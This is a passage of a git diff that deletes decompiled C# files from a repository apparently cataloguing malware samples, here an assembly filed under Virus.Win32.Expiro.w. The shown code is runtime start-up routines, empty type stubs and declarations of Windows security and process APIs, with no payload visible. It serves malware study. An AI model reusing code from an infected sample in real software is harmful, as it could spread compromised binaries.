[SuppressUnmanagedCodeSecurity] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DllImport("MSVCR80.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern unsafe void* _encoded_null(); - - [DebuggerStepThrough] - internal static unsafe int _initterm_e(__FnPtr* pfbegin, __FnPtr* pfend) - { - int num1 = 0; - if (pfbegin < pfend) - { - while (num1 == 0) - { - uint num2 = (uint) *(int*) pfbegin; - if (num2 != 0U) - { - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - num1 = __calli((__FnPtr) (int) num2)(); - } - pfbegin += 4; - if (pfbegin >= pfend) - break; - } - } - return num1; - } - - [DebuggerStepThrough] - internal static unsafe void _initterm(__FnPtr* pfbegin, __FnPtr* pfend) - { - if (pfbegin >= pfend) - return; - do - { - uint num = (uint) *(int*) pfbegin; - if (num != 0U) - { - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - __calli((__FnPtr) (int) num)(); - } - pfbegin += 4; - } - while (pfbegin < pfend); - } - - [DebuggerStepThrough] - internal static ModuleHandle \u003CCrtImplementationDetails\u003E\u002EThisModule\u002EHandle() => typeof (ThisModule).Module.ModuleHandle; - - [DebuggerStepThrough] - internal static unsafe void _initterm_m(__FnPtr* pfbegin, __FnPtr* pfend) - { - if (pfbegin >= pfend) - return; - do - { - uint methodToken = (uint) *(int*) pfbegin; - if (methodToken != 0U) - { - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - void* voidPtr = __calli(\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EThisModule\u002EResolveMethod\u003Cvoid\u0020const\u0020\u002A\u0020__clrcall\u0028void\u0029\u003E((__FnPtr) (int) methodToken))(); - } - pfbegin += 4; - } - while (pfbegin < pfend); - } - - [DebuggerStepThrough] - internal static unsafe __FnPtr \u003CCrtImplementationDetails\u003E\u002EThisModule\u002EResolveMethod\u003Cvoid\u0020const\u0020\u002A\u0020__clrcall\u0028void\u0029\u003E( - __FnPtr methodToken) - { - // ISSUE: cast to a function pointer type - return (__FnPtr) (IntPtr) \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EThisModule\u002EHandle().ResolveMethodHandle((int) methodToken).GetFunctionPointer().ToPointer(); - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [SecurityPermission(SecurityAction.Assert, UnmanagedCode = true)] - internal static unsafe void ___CxxCallUnwindDtor(__FnPtr pDtor, void* pThis) - { - try - { - void* voidPtr = pThis; - // ISSUE: function pointer call - __calli(pDtor)(voidPtr); - } - catch (Exception ex) when (\u003CModule\u003E.__FrameUnwindFilter((_EXCEPTION_POINTERS*) Marshal.GetExceptionPointers()) != 0) - { - } - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [SecurityPermission(SecurityAction.Assert, UnmanagedCode = true)] - internal static unsafe void ___CxxCallUnwindDelDtor(__FnPtr pDtor, void* pThis) - { - try - { - void* voidPtr = pThis; - // ISSUE: function pointer call - __calli(pDtor)(voidPtr); - } - catch (Exception ex) when (\u003CModule\u003E.__FrameUnwindFilter((_EXCEPTION_POINTERS*) Marshal.GetExceptionPointers()) != 0) - { - } - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [SecurityPermission(SecurityAction.Assert, UnmanagedCode = true)] - internal static unsafe void ___CxxCallUnwindVecDtor( - __FnPtr)> pVecDtor, - void* ptr, - uint size, - int count, - __FnPtr pDtor) - { - try - { - void* voidPtr = ptr; - int num1 = (int) size; - int num2 = count; - __FnPtr local = pDtor; - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - __calli(pVecDtor)((__FnPtr) (IntPtr) voidPtr, num1, (uint) num2, (void*) local); - } - catch (Exception ex) when (\u003CModule\u003E.__FrameUnwindFilter((_EXCEPTION_POINTERS*) Marshal.GetExceptionPointers()) != 0) - { - } - } - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern uint _wmainCRTStartup(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int HeapSetInformation( - [In] void* obj0, - [In] _HEAP_INFORMATION_CLASS obj1, - [In] void* obj2, - [In] uint obj3); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int GetVolumeInformationW( - [In] ushort* obj0, - [In] ushort* obj1, - [In] uint obj2, - [In] uint* obj3, - [In] uint* obj4, - [In] uint* obj5, - [In] ushort* obj6, - [In] uint obj7); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int CreateWellKnownSid( - [In] WELL_KNOWN_SID_TYPE obj0, - [In] void* obj1, - [In] void* obj2, - [In] uint* obj3); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* LocalFree([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int InfoCardKeyGenX931( - [In] uint obj0, - [In] byte* obj1, - [In] byte* obj2, - [In] byte* obj3, - [In] byte* obj4, - [In] uint obj5, - [In] byte* obj6, - [In] byte* obj7, - [In] uint obj8, - [In] byte** obj9, - [In] uint* obj10, - [In] X931_restart_t* obj11); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int CloseHandle([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int ConvertSidToStringSidW([In] void* obj0, [In] ushort** obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint CreateProcessAsTrustedUser( - [In] ushort* obj0, - [In] ushort* obj1, - [In] uint obj2, - [In] ushort* obj3, - [In] ushort* obj4, - [In] uint obj5, - [In] void** obj6, - [In] void** obj7, - [In] uint* obj8, - [In] void* obj9, - [In] void** obj10); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int CheckTokenMembership([In] void* obj0, [In] void* obj1, [In] int* obj2); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern int RpcRevertToSelf(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint CreateProcessAsUserHelper( - [In] ushort* obj0, - [In] ushort* obj1, - [In] uint obj2, - [In] ushort* obj3, - [In] ushort* obj4, - [In] void** obj5, - [In] uint* obj6); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcBindingSetAuthInfoW( - [In] void* obj0, - [In] ushort* obj1, - [In] uint obj2, - [In] uint obj3, - [In] void* obj4, - [In] uint obj5); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern int RevertToSelf(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint SetEntriesInAclW( - [In] uint obj0, - [In] _EXPLICIT_ACCESS_W* obj1, - [In] _ACL* obj2, - [In] _ACL** obj3); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint SetSecurityInfo( - [In] void* obj0, - [In] _SE_OBJECT_TYPE obj1, - [In] uint obj2, - [In] void* obj3, - [In] void* obj4, - [In] _ACL* obj5, - [In] _ACL* obj6); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* LocalAlloc([In] uint obj0, [In] uint obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint InfoCardStartRpcServer([In] ushort* obj0, [In] _RPCCALLBACKS* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcCryptoCloseContext([In] void* obj0, [In] ushort* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint CreateJobObjectHelper([In] void** obj0, [In] void* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint VerifyTrust([In] ushort* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int SHGetFolderPathW( - [In] HWND__* obj0, - [In] int obj1, - [In] void* obj2, - [In] uint obj3, - [In] ushort* obj4); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern uint GetLastError(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int DuplicateTokenEx( - [In] void* obj0, - [In] uint obj1, - [In] _SECURITY_ATTRIBUTES* obj2, - [In] _SECURITY_IMPERSONATION_LEVEL obj3, - [In] _TOKEN_TYPE obj4, - [In] void** obj5); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint GetSecurityInfo( - [In] void* obj0, - [In] _SE_OBJECT_TYPE obj1, - [In] uint obj2, - [In] void** obj3, - [In] void** obj4, - [In] _ACL** obj5, - [In] _ACL** obj6, - [In] void** obj7); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcStringFreeW([In] ushort** obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint CreateAndWaitForFileOpenDialog( - [In] ushort* obj0, - [In] void* obj1, - [In] uint obj2, - [In] ushort* obj3, - [In] ushort* obj4); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern uint AdjustPrivileges([MarshalAs(UnmanagedType.U1)] bool _param0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int SetHighAssuranceFlags([In] _CERT_CHAIN_CONTEXT* obj0, [In] uint* obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcBindingFree([In] void** obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int GetVersionExW([In] _OSVERSIONINFOW* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int ConvertStringSidToSidW([In] ushort* obj0, [In] void** obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcImpersonateClient([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int SetTokenInformation( - [In] void* obj0, - [In] _TOKEN_INFORMATION_CLASS obj1, - [In] void* obj2, - [In] uint obj3); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int LsaGetLogonSessionData( - [In] _LUID* obj0, - [In] _SECURITY_LOGON_SESSION_DATA** obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int LsaFreeReturnBuffer([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* OpenProcess([In] uint obj0, [In] int obj1, [In] uint obj2); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int DnsNameCompare_W([In] ushort* obj0, [In] ushort* obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int EqualSid([In] void* obj0, [In] void* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void AssertInternal( - [MarshalAs(UnmanagedType.U1)] bool _param0, - [In] ushort* obj1, - [In] sbyte* obj2, - [In] int obj3, - [MarshalAs(UnmanagedType.U1)] bool _param4); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int GetTokenInformation( - [In] void* obj0, - [In] _TOKEN_INFORMATION_CLASS obj1, - [In] void* obj2, - [In] uint obj3, - [In] uint* obj4); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int _wcsnicmp([In] ushort* obj0, [In] ushort* obj1, [In] uint obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void MIDL_user_free([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* GetCurrentProcess(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern uint InfoCardStopRpcServer(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void InfoCardKeyGenZeroAndFree([In] byte* obj0, [In] uint obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcCryptoDispatchRequest( - [In] void* obj0, - [In] ushort* obj1, - [In] _RPC_REQUEST* obj2, - [In] _RPC_RESPONSE** obj3); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe _CRYPT_OID_INFO* CryptFindOIDInfo( - [In] uint obj0, - [In] void* obj1, - [In] uint obj2); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcStringBindingComposeW( - [In] ushort* obj0, - [In] ushort* obj1, - [In] ushort* obj2, - [In] ushort* obj3, - [In] ushort* obj4, - [In] ushort** obj5); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int OpenProcessToken([In] void* obj0, [In] uint obj1, [In] void** obj2); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcBindingFromStringBindingW([In] ushort* obj0, [In] void** obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* _getFiberPtrId(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void _amsg_exit([In] int obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern void __security_init_cookie(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void Sleep([In] uint obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u003CCrtImplementationDetails\u003E\u002EThrowModuleLoadException( - [In] string obj0, - [In] Exception obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u003CCrtImplementationDetails\u003E\u002EThrowModuleLoadException( - [In] string obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u003CCrtImplementationDetails\u003E\u002EDoDllLanguageSupportValidation(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u003CCrtImplementationDetails\u003E\u002EThrowNestedModuleLoadException( - [In] Exception obj0, - [In] Exception obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u003CCrtImplementationDetails\u003E\u002ERegisterModuleUninitializer( - [In] EventHandler obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void \u003CCrtImplementationDetails\u003E\u002EDoCallBackInDefaultDomain( - [In] __FnPtr obj0, - [In] void* obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void _cexit(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int __FrameUnwindFilter([In] _EXCEPTION_POINTERS* obj0); -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ACCESS_MODE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ACCESS_MODE.cs deleted file mode 100644 index 98a80af5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ACCESS_MODE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ACCESS_MODE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _ACCESS_MODE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ACL.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ACL.cs deleted file mode 100644 index 07e0b90a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ACL.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ACL -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 8)] -internal struct _ACL -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ACL_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ACL_INFORMATION_CLASS.cs deleted file mode 100644 index 72086de6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ACL_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ACL_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _ACL_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ACTIVATION_CONTEXT_INFO_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ACTIVATION_CONTEXT_INFO_CLASS.cs deleted file mode 100644 index 7265170d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ACTIVATION_CONTEXT_INFO_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _ACTIVATION_CONTEXT_INFO_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _ACTIVATION_CONTEXT_INFO_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_APTTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_APTTYPE.cs deleted file mode 100644 index 886f956b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_APTTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _APTTYPE -// Assembly: infocard, 